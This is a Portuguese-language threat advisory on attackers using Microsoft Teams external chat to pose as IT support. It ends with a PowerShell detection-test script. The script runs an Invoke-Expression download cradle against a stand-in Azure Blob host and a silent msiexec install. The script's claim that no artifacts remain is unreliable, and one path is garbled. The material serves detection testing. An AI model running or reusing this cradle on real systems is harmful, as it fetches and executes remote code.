Abuso do Chat Externo do Microsoft Teams Permite Acesso Inicial

Resumo

Atores de ameaça estão abusando dos recursos de chat externo do Microsoft Teams para executar golpes de personificação e entregar arquivos maliciosos. Os invasores usam nomes de exibição com tema de TI e locatários do Microsoft 365 descartáveis para parecer legítimos e ganhar a confiança das vítimas. Após estabelecer contato, eles frequentemente dependem de vishing e ferramentas de monitoramento e gerenciamento remoto (RMM) para obter acesso hands-on-keyboard.

Investigação

A Arctic Wolf analisou mais de 400 incidentes envolvendo abuso do chat externo do Microsoft Teams. A investigação identificou um padrão recorrente em que o bombardeio de e-mails criou urgência antes que os atacantes contatassem as vítimas pelo Teams, enquanto se passavam por suporte de TI. Os pesquisadores também observaram uma mudança de .onmicrosoft.com locatários para domínios controlados por invasores .top para estadiamento de cargas de ataque.

Mitigação

As organizações devem substituir uma política de acesso externo aberto por uma lista de permitidos de domínios confiáveis no centro de administração do Teams. Também é recomendável desabilitar o chat com contas não gerenciadas ou do Teams para consumidores. Restringir ferramentas como o Quick Assist e bloquear software RMM não autorizado pode ainda mais reduzir o risco de exploração subsequente.

Resposta

Quando atividade suspeita de chat externo do Teams for detectada, as organizações devem verificar a identidade do solicitante por meio de um canal de comunicação fora de banda. As equipes de segurança devem correlacionar eventos ChatCreated com telemetria de endpoints e identidade para descobrir possíveis comprometimentos. Isolar rapidamente hosts afetados e revogar tokens de sessão para usuários potencialmente comprometidos é crítico.

Execução de Simulação

• Narrativa de Ataque e Comandos: O objetivo do adversário é estabelecer persistência instalando um serviço malicioso. Para evitar detecção, eles tentam baixar uma carga de um contêiner de armazenamento público do Azure Blob. Eles usam um “one-liner” do PowerShell que combina Invoke-Expression (conhecido como IEX) com um URL apontando para blob.core.windows.net. Uma vez que o script é executado em memória, ele desencadeia a execução do msiexec.exe para instalar a carga final, completando a cadeia desde o comando inicial até a instalação em nível de sistema.

• Script de Teste de Regressão:

  # Script de Simulação: Execução de Carga via PowerShell e Azure Blob
  # Este script imita exatamente os padrões que a regra procura.
  
  $TargetUrl = "https://malicious-payload.blob.core.windows.net/downloads/installer.msi"
  $FakeIEX = "IEX"
  
  Write-Host "[+] Simulando execução de Bloco de Script PowerShell com URL do Azure Blob..."
  # Esta linha desencadeia a lógica do EventID 4104 (IEX + blob.core.windows.net)
  Invoke-Expression "Write-Output 'Baixando de $TargetUrl...'; $FakeIEX (New-Object Net.WebClient).DownloadString('$TargetUrl')"
  
  Write-Host "[+] Simulando execução de MSI..."
  # Esta linha desencadeia a lógica do EventID 4688 (msiexec.exe)
  Start-Process "msiexec.exe" -ArgumentList "/i C:WindowsSystem32setup.msi /quiet" -ErrorAction SilentlyContinue

• Comandos de Limpeza:

  # Limpeza: Nenhum arquivo persistente é realmente criado por este script de simulação
  # pois ele usa URLs fictícios e caminhos padrão de MSI do sistema.
  Write-Host "[+] Simulação completa. Nenhum artefato deixado no sistema."